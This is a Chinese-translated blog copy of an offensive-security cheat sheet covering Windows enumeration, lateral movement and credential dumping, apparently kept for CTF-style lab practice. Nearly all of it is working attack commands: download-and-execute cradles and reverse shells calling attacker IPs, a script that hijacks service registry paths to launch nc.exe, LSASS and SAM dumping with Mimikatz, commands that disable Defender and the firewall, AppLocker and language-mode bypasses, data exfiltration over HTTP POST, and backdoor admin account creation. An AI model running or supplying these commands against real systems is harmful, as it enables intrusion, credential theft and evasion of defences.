笔记说明: 该笔记是国外进攻性爱好者 h4rithd 在 gitbook 上记录的备忘笔记,我整体翻译了注释的内容,并根据个人打靶学习情况,增加或删除了一部分内容,至此放置博客上留作后续复习使用,以及方便各位浏览到我博客的安全爱好者参考使用。
横向运动 01.常用命令 01.1 操作系统枚举 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" whoami /all [System.Environment ]::OSVersion.VersionGet-ComputerInfo | Select-Object WindowsProductName, WindowsVersion, OsHardwareAbstractionLayerVersion (Get-ItemProperty "HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" ).ReleaseIdGet-ChildItem Env: | ft Key,Valuedir env: reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP" $env:PROCESSOR_ARCHITECTURE [Environment ]::Is64BitProcess [Environment ]::Is64BitOperatingSystemset processor wmic qfe wmic product get name, version, vendor mountvol wmic logicaldisk get caption,description,providername netsh advfirewall firewall dump netsh firewall show state netsh firewall show config netsh advfirewall firewall show rule name=all
01.2 用户枚举 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 echo %USERNAME% || whoami$env:username net user <UserName>write-host $env:USERPROFILE whoami /priv whoami /groups net user whoami /allGet-LocalUser | ft Name,Enabled,LastLogonGet-ChildItem C:\Users -Force | select Name net accounts net localgroupGet-LocalGroup | ft Name net localgroup administratorsGet-LocalGroupMember Administrators | ft Name, PrincipalSourceGet-LocalGroupMember Administrateurs | ft Name, PrincipalSource nltest /DCLIST:DomainName nltest /DCNAME:DomainName nltest /DSGETDC:DomainName net view /domain net view /domain:DomainName
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 net user /add harith Password@123 net localgroup administrators harith /add net localgroup "Remote Desktop Users" harith /add net user h4rithd Passw0rD $ /add /domain net group "Exchange Windows Permissions" net group "Exchange Windows Permissions" /add h4rithd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 runAs /user:h4rithd cmd.exe powershell.exe Start-Process cmd.exe -Verb runAs /user:h4rithd$env:ComputerName $user = "ComputerName\USERNAME" $pass = "PASSWORD" $secStringPass = ConvertTo-SecureString $pass -AsPlainText -Force $Creds = New-Object System.Management.Automation.PSCredential($user ,$secStringPass )$pass = convertto-securestring -AsPlainText -Force -String "PASSWORD" $Creds = New-Object -TypeName System.Management.Automation.PSCredential - ArgumentList "ComputerName\USERNAME" ,$pass Invoke-Command -Credential $Creds -ComputerName <IP/LOCALHOST or Hostname> -ScriptBlock { whoami }Enter-PSSession -Credential $Creds -ComputerName <IP/LOCALHOST or Hostname>Start-Process -Credential $Creds -FilePath Powershell -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.22/rev.ps1')" Invoke-Command -ComputerName helpline -Authentication CredSSP -credential $cred -ScriptBlock { whoami }
1 2 $pass = ConvertTo-SecureString 'Pas$word!' -asPlainText -Force Set-DomainUserPassword Herman -AccountPassword $pass -Verbose
1 2 cmdkey /list runas /savecred /user:<USERNAME> C:\<PATH>\shell.exe
01.3 网络枚举 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 netstat -ano | findstr /i listen netstat -anop tcp ipconfig /allGet-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4AddressGet-DnsClientServerAddress -AddressFamily IPv4 | ft route printGet-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State net share powershell Find-DomainShare -ComputerDomain domain.local reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /sGet-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0 Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "UserAuthentication" -Value 1 Enable-NetFirewallRule -DisplayGroup "Remote Desktop" use post/windows/manage/enable_rdpset Username h4rithdset Password Password123!set SESSION 1 info run rdesktop -g 1920 x1080 <IP>
1 2 3 4 5 6 7 8 1 ..255 | % {echo "192.168.1.$_ " ; ping -n 1 -w 100 192.168 .1 .$_ } | Select-String ttl workflow ParallelSweep { foreach -parallel -throttlelimit 4 ($i in 1 ..255 ) {ping -n 1 -w 100 10.0 .0 .$i }}; ParallelSweep | Select-String ttl0 ..10 | % { $a = $_ ; 1 ..255 | % { $b = $_ ; ping -n 1 -w 10 "10.0.$a .$b " | select-string TTL | % { if ($_ -match "ms" ) { $ttl = $_ .line.split('=' )[2 ] -as [int ]; if ($ttl -lt 65 ) { $os = "Linux" } ElseIf ($ttl -gt 64 -And $ttl -lt 129 ) { $os = "Windows" } else { $os = "Cisco" }; write-host "10.0.$a .$b OS: $os " ; echo "10.0.$a .$b " >> scan_results.txt }}} }
1 2 3 Get-DNSServerZone Export-DnsServerZone -Name localnet.domain -FileName dns-export .txt
1 2 3 wget https://raw.githubusercontent.com/Kevin-Robertson /Inveigh/master/Inveigh.ps1IEX (New-Object Net.WebClient).DownloadString('http://<IP>/Inveigh.ps1' )Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -Proxy Y -LogOutput Y -FileOutput Y
01.4 进程/服务枚举 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 Get-Process -name firefox tasklist /v | findstr smssps | findstr smssGet-Service sc query state=allget-wmiobject win32_serviceSet-Location 'HKLM:\SYSTEM\CurrentControlSet\Services' Get-ChildItem . | select nameGet-ChildItem . | where-object { $_ .Name -like '*EnterServiceNameHere*' tasklist /v /fi "username eq system" taskkill /f /im:filename.exe schtasks /query /fo LIST /v schtasks /RUN /RN "\NameHere" Stop-Service "Ubiquiti UniFi Video" Start-Service "Ubiquiti UniFi Video" net stop EnterServiceNameHere net start EnterServiceNameHere sc.exe stop EnterServiceNameHere sc.exe start EnterServiceNameHereGet-Service nscp | fl * [appdomain ]::currentdomain.getassemblies() | Sort-Object -Property fullname | Format-Table fullnameGet-Service | where {$_ .Status -eq "Running" } wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V "''"
1 2 3 4 5 6 sc.exe config UsoSvc binpath="cmd.exe /c powershell -EncodedCommand SQBFAFgAKABOA.....ApAA==" sc.exe stop UsoSvc sc.exe start UsoSvc
1 2 3 4 5 6 7 8 get-process rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> <PATH-TO-SAVE-FILE > full rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 624 C:\Users\Public\Documents\lsass.dmp ./procdump.exe -accepteula -ma <PID>
1 2 Get-ChildItem 'C:\Program Files' , 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTimeGet-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
01.5 注册表枚举
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 accesschk.exe "<USER>" -kwsu HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services$acl = get-acl HKLM:\SYSTEM\CurrentControlSet\Services; ConvertFrom-SddlString -Sddl $acl .Sddl | Foreach-Object {$_ .DiscretionaryAcl} $cmd = "C:\inetpub\wwwroot\uploads\nc.exe 10.10.14.187 444 -e powershell.exe" \$otp = ./accesschk.exe "Hector" -kvuqsv hklm:\System\CurrentControlSet\Services$services = $otp .Split([Environment ]::NewLine)foreach ($service in $services ) { if (!$service .StartsWith("RW HKLM" )) { continue } $name = $service .Split("\\" )[-1 ].Split([Environment ]::NewLine)[0 ] $s = Get-Service -Name $name -ErrorAction SilentlyContinue if (!$s ) { continue } echo $service $serv = $service .Split(" " )[-1 ].Split([Environment ]::NewLine)[0 ] echo $serv if ($s .Status -eq 'Running' ) { reg add $serv /v ImagePath /t REG_EXPAND_SZ /d "$cmd " /f >a.txt if ((Get-Service -Name $name ).Status -eq 'Running' ) { Get-Service -Name $name | Stop-Service -ErrorAction SilentlyContinue Write-Host "[STOP] " $name } } elseif ($s .Status -eq 'Stopped' ) { reg add $serv /v ImagePath /t REG_EXPAND_SZ /d "$cmd " /f >a.txt if ((Get-Service -Name $name ).Status -eq 'Stopped' ) { Get-Service -Name $name | Start-Service -ErrorAction SilentlyContinue Write-Host "[START] " $name } } }
01.6 文件枚举 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 dir -force dir /b/s C:\ flag.txtwhere /R C:\ flag.txtgci -r . user.txtgci -recurse | select FullNamegci -recurse C:\Users\ user.txtGet-ChildItem -Path C:\Users -Recurse -Include root.txt,user.txt | select Fullname cmd /c dir /r Get-Item <FileName> -Stream *Get-Content <FileName> -Stream <StreamName>gci -recurse -include *.* | select FullName ((cat ..\path\to\file.txt -Raw ) -replace 'foo' , 'bar' ) | sc -path ..\path\to\new\file.txt driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object 'Display Name' , 'Start mode' , PathGet-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_ .DeviceName -like "*VMware*" }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.*dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*where /R C:\ user.txtwhere /R C:\ *.iniIWR -Uri "https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/Find-Strings.ps1" -OutFile "Find-Strings.ps1" .\Find-Strings .ps1 -stopAt "5" .\Find-strings .ps1 -Path "$Env:TMP " -String "pass=|passwd=|password=" .\Find-strings .ps1 -Path "$Env:USERPROFILE " -String "[^$ ]password=" dir "C:\ProgramData\Microsoft\Group Policy\History\" findstr /S cpassword $env:logonserver \sysvol\*.xml findstr /S cpassword %logonserver%\sysvol\*.xml (cmd.exe) findstr /S /I cpassword \\<DOMAIN>\sysvol\<DOMAIN>\policies\*.xml REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" /v DefaultPassword /reg:64 REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" | findstr "DefaultUserName DefaultDomainName DefaultPassword" REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" REG QUERY "HKCU\Software\SimonTatham\PuTTY\Sessions" REG QUERY "HKCU\Software\ORL\WinVNC3\Password" REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password REG QUERY HKLM /f password /t REG_SZ /s REG QUERY HKCU /f password /t REG_SZ /s accesschk.exe /accepteula -uwcqv "Authenticated Users" * accesschk.exe /accepteula -uws "Everyone" "C:\Program Files" cd C:\Users\<USERNAME>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalStatecd C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Sticky Notes
1 2 3 4 5 6 7 8 9 icacls "C:\Program Files (x86)\*" 2 >null | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%" icacls "C:\Program Files\*" 2 >null | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%" wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V "" "" Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_ .State -like 'Running' } | findstr "Program" icacls "C:\Program Files (x86)\*" 2 >null | findstr "BUILTIN\Users:(I)(F)" icacls "C:\Program Files\*" 2 >null | findstr "BUILTIN\Users:(I)(F)"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 Get-ACL folder-or -file -name | FL *Get-ACL root.txt | FL AccessToString cacls root.txt /t /e /p UserName:F cacls root.txt /e /r UserNameGet-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_ .AccessToString -match "Everyone\sAllow\s\sModify" }
1 2 3 $Wscript = New-Object -ComObject Wscript.Shell$shortcut = Get-ChildItem *.lnk$Wscript .CreateShortcut($shortcut )
1 2 3 4 5 Compress-Archive -LiteralPath <PathToFiles> -DestinationPath <PathToDestination>.zip Expand-Archive -LiteralPath <PathToZipFile>.zip -DestinationPath <PathToDestination>
01.7 防火墙/防御者 01.7.1 防火墙 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 netsh advfirewall firewall dump netsh firewall show state netsh firewall show config netsh advfirewall firewall show rule name=allGet-NetFirewallPortFilter Get-NetFirewallRule Get-NetFirewallRule -Direction Outbound -Enabled True -Action BlockGet-NetFirewallRule -Direction Outbound -Enabled True -Action Allow netsh advfirewall firewall add rule name"forward_port_rule" protocol=TCP dir =in localip=<compromised_ip> localport 3306 action=alow REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f powershell.exe -ExecutionPolicy Bypass -command 'Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" –Value' ` netsh firewall set opmode disable netsh Advfirewall set allprofiles state off REG add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f powershell -c "$f =New-object -comObject HNetCfg.FwPolicy2;$f .rules | where {$_ .action -eq " 0 "} | select name,applicationname,localports;$f " powershell -c "Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}}, @{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}}, @{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}}, Enabled, Profile, Direction, Action"
01.7.2 防病毒和检测|禁用防御者 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 Get-MpComputerStatus Get-MpPreference | Select-Object -Property ExclusionPath -ExpandProperty ExclusionPathGet-MpPreference | Select-Object -Property ExclusionPath | Format-Table -AutoSize cd "C:\Progra~1\Windows Defender" .\mpcmdrun.exe -RemoveDefinitions -All Set-MpPreference -DisableRealtimeMonitoring $true ; Get-MpComputerStatus Set-MpPreference -DisableIOAVProtection $true Set-MpPreference -DisableScriptScanning 1 Add-MpPreference -ExclusionPath "C:\Windows\Temp" -Force Add-MpPreference -ExclusionPath "C:\Windows\Tasks" -Force Add-MpPreference -ExclusionPath "C:\Windows\Temp\h4rithd" -Force Set-MpPreference -ExclusionProcess "mimikatz.exe" , "winPEAS.exe" -Force Add-MpPreference -ExclusionExtension "exe" -Force "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All
01.8 默认位置 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 [x86 ] C:\windows\syswow64\windowspowershell\v1.0 \powershell.exe [x64 ] C:\Windows\System32\WindowsPowerShell\v1.0 \powershell.exe [x64 ] C:\windows\sysnative\windowspowershell\v1.0 \powershell.exe C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\drivers\color C:\Windows\Tasks C:\Windows\tracing C:\Windows\Temp C:\Users\Public C:\unattend.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml C:\Windows\system32\sysprep.inf C:\Windows\system32\sysprep\sysprep.xml C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txttype C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txttype $env:APPDATA \Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtcat (Get-PSReadlineOption ).HistorySavePathcat (Get-PSReadlineOption ).HistorySavePath | sls passw
1 2 3 4 5 6 7 8 C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\system32\spool\drivers\color C:\Users\PublicPort Forward C:\Users\Public\Documents C:\Windows\tracing C:\Windows\Tasks C:\Windows\Temp C:\programdata
01.9 策略绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Set-ExecutionPolicy RemoteSigned Set-ExecutionPolicy Unrestricted Get-ExecutionPolicy Get-ExecutionPolicy -List | Format-Table -AutoSize evil-winrm -i <IP> -u <USERNAME> -p <PASSWORD> -s $ (pwd ) rev.ps1 menuGet-Content rev.ps1 | PowerShell.exe -noprofile -type rev.ps1 | PowerShell.exe -noprofile - powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://<IP>/rev.ps1')" PowerShell.exe -ExecutionPolicy Bypass -File .\rev.ps1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Get-ApplockerPolicy -Effective -xml Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections C:\Windows\Temp C:\Windows\Tasks C:\windows\tracing C:\Windows\System32\FxsTmp C:\Windows\System32\com\dmp C:\Windows\SysWOW64\FxsTmp C:\Windows\SysWOW64\com\dmp C:\Windows\Registration\CRMLog C:\Windows\System32\spool\SERVERS C:\Windows\System32\spool\PRINTERS C:\Windows\System32\spool\drivers\color C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System C:\Windows\System32\Tasks_Migrated cp /opt/PowerSploit/CodeExecution/Invoke-ReflectivePEInjection .ps1 .IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.26/Invoke-ReflectivePEInjection.ps1' ) $PEBytes = [IO.File ]::ReadAllBytes('full\path\for\application.exe' )Invoke-ReflectivePEInjection -PEBytes $PEBytes https://github.com/api0cradle/UltimateAppLockerByPassList
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $ExecutionContext .SessionState.LanguageMode powershell.exe -version 2 IEX (New-Object System.Net.Webclient).DownloadString('http://<IP>/rev.ps1' )cp /opt/nishang/Shells/Invoke-PowerShellTcp .ps1 rev.ps1echo -e "Invoke-PowerShellTcp -Reverse -IPAddress <HostIP> -Port 4545" >> rev.ps1 python3 -m http.server 80 echo -n "IEX(New-Object Net.WebClient).DownloadString('http://<HostIP>/rev.ps1')" | iconv --to-code UTF-16LE | base64 -w 0 &{ powershell -enc JABzAG0...Sad== }wget https://github.com/h4rithd/PrecompiledBinaries/blob/main/PSBypassCLM/PsBypassCLM.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319 \InstallUtil.exe /logfile= /LogToConsole=true /U C:\Windows\Tasks\PsBypassCLM.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319 \InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10 .14.38 /rport=4545 /U C:\Windows\Tasks\PsBypassCLM.exe
1 2 3 4 5 REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System https://github.com/hfiref0x/UACME https://docs.h4rithd.com/windows/privilageesc-windows
01.10 上传/下载/执行
1 2 3 4 5 6 7 8 $b64 = [System.convert ]::ToBase64String((Get-Content -Path 'C:/<PATH>/BloodHound.zip' -Encoding Byte)) Invoke-WebRequest -Uri http://10.10 .14.25 :443 -Method POST -Body $b64 echo <base64> | base64 -d -w 0 > bloodhound.zipStart-BitsTransfer "C:\Temp\bloodhound.zip" -Destination "http://10.10.10.132/uploads/bloodhound.zip" -TransferType Upload -ProxyUsage Override -ProxyList PROXY01:8080 -ProxyCredential INLANEFREIGHT\svc-sql
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.63/nc.exe', 'C:\Users\Public\nc.exe')" powershell -c "Invoke-WebRequest http://10.10.14.26/nc.exe -OutFile C:\Users\Public\nc.exe" powershell -c "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://10.10.14.25/revshell.ps1')" powershell -c "Invoke-WebRequest http://10.10.14.25/revshell.ps1 | iex" powershell -c "IWR -useBasicParsing http://10.10.14.26/nc.exe -o C:\Users\Public\nc.exe" reg add "HKLM\SOFTWARE\Microsoft\Internet Explorer\Main" /f /v DisableFirstRunCustomize /t REG_DWORD /d 2 certutil -urlcache -split -f http://10.10 .14.26 /nc.exe C:\Users\Public\nc.exe powershell curl http://10.10 .14.11 /rev.ps1 bitsadmin /transfer n http://10.10 .10.32 /nc.exe C:\Temp\nc.exeImport-Module bitstransfer;Start-BitsTransfer -Source "http://10.10.10.32/nc.exe" -Destination "C:\Temp\nc.exe"
1 2 3 4 5 6 IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.26/SharpHound.ps1' ) .\rev.ps1Import-Module .\rev.ps1
01.11 编码/解码
1 2 3 4 5 echo -n "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.26/rev.ps1')" | iconv --to-code UTF-16LE | base64 -w 0 powershell -EncodedCommand SQBFAFgAKABOA.....ApAA==
1 2 3 4 5 6 7 8 9 10 11 powershell -c [convert ]::ToBase64String((cat C:\windows\system32\license.rtf -Encoding byte)) certutil -encode C:\windows\system32\license.rtf license-b64 .out$fc = Get-Content "file name.txt" $fc $fe = [System.Text.Encoding ]::UTF8.GetBytes($fc ) [System.Convert ]::ToBase64String($fe )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $file = Import-CliXml -Path string.xml$file .GetNetworkCredential().Password$file .GetNetworkCredential().Flag$pw = gc admin-pass .xml | ConvertTo-SecureString $cred = New-Object System.Management.Automation.PSCredential("Administrator" , $pw )$cred .GetNetworkCredential() | fl * $user = "USERNAME" $pass = "PASSWORD" $secStringPass = ConvertTo-SecureString $pass -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential($user ,$secStringPass )$cred | fl $cred .GetNetworkCredential() | fl
01.12 转储凭证
1 2 3 4 5 6 7 REG SAVE HKLM\SYSTEM SYSTEM REG SAVE HKLM\SAM SAM impacket-secretsdump -sam SAM -system SYSTEM local impacket-secretsdump -sam SAM -system SYSTEM -history local
1 2 3 wget https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump .ps1IEX (New-Object Net.Webclient).DownloadString('http://<IP>/Out-Minidump.ps1' )Get-Process lsass | out-minidump
1 2 3 4 5 6 7 8 9 10 tasklist | findstr /i lsas procdump64.exe -accepteula -ma <PID> lsass.dmp procdump64.exe -accepteula -ma lsass.exe lsass.dmp pypykatz lsa minidump lsass.dmp mimikatz.exe "sekurlsa::minidump c:\lsass.dmp" "sekurlsa::logonpasswords"
1 2 3 4 5 wget https://github.com/h4rithd/PrecompiledBinaries/raw/main/Dumpert/Outflank-Dumpert .dllwget https://github.com/h4rithd/PrecompiledBinaries/raw/main/Dumpert/Outflank-Dumpert .exe .\Outflank-Dumpert .exe rundll32.exe C:\Windows\temp\Outflank-Dumpert .dll,Dump
1 2 3 4 5 6 7 8 9 10 11 12 C:\Program Files\Avast Software\Avast\AvDump.exewget -O ADTool.exe https://github.com/f1tz/Misc/raw/master/AvDump/x86/AvDump.exewget -O ADTool.exe https://github.com/f1tz/Misc/raw/master/AvDump/x64/AvDump.exe .\AvDump.exe --pid 704 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\Windows\temp\file.dmp post/windows/gather/avast_memory_dump
1 2 3 4 5 6 7 8 9 wget https://github.com/f1tz/Misc/raw/master/SqlDumper/SqlDumper_2008R2_x86.zipwget https://github.com/f1tz/Misc/raw/master/SqlDumper/SqlDumper_2008R2_x64.zip .\sqldumper.exe [lsass 's pid] 0 0x0110 ## ------------------| Extract passwords mimikatz.exe "log" "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit
1 2 wget https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.5 /LaZagne.exe .\laZagne.exe all
01.13 其他
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 impacket-smbserver <shareName> <sharePath> impacket-smbserver share $ (pwd ) -smb2support impacket-smbserver share $ (pwd ) -smb2support -username h4rithd -password Password123 net use z: <MyIP>\share net use z: \\<MyIP>\share /USER:h4rithd Password123$pass = ConvertTo-SecureString 'Password123' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential('h4rithd' , $pass )New-PSDrive -Name h4rithd -PSProvider FileSystem -Credential $cred -Root \\<MyIP>\sharecd h4rithd:dir copy C:\Users\Public\sam \\10.10 .14.26 \share\sam xcopy C:\Users\Public\sam \\10.10 .14.26 \share\sam
在 Linux 上启动SMB
samba 服务器以共享文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 impacket-smbserver share . impacket-smbserver share . -smb2support sudo cp /etc/samba/smb.conf /etc/samba/smb.conf.bak mkdir -p /tmp/smb chmod 0777 /tmp/smbecho "\n\n#### --- $ (hostname) was edits below lines ----\n [share] \n \ \tpath = /tmp/smb \n \ \tpublic = yes \n \ \twritable = yes \n \ \tcomment = $ (hostname) shares \n \ \tprintable = no \n \ \tguest ok = yes \n \ #### --- Edit done -------" >> /etc/samba/smb.conf tail 10 /etc/samba/smb.conf sudo service smbd restartcp /etc/samba/smb.conf.bak /etc/samba/smb.conf service smbd restart
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 runas /user:DOMAIN\USER /noprofile powershell.exe reg add HKLM\SYSTEM\CurrentControlSet\Contro\SecurityProviders\Wdigest /v UseLogonCredential /t Reg_DWORD /d 1 powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'" powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds" powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')" powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PewPewPew/Invoke-MassMimikatz.ps1');'$env:COMPUTERNAME '|Invoke-MassMimikatz -Verbose" powershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1’);Invoke-AllChecks ” powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Scripts/Inveigh.ps1');Invoke-Inveigh -ConsoleOutput Y –NBNS Y –mDNS Y –Proxy Y -LogOutput Y -FileOutput Y" powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-kerberoast -OutputFormat Hashcat" powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');Invoke-ShareFinder -CheckShareAccess|Out-File -FilePath sharefinder.txt" powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1')" powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');Invoke-BloodHound"
02.防御规避技术
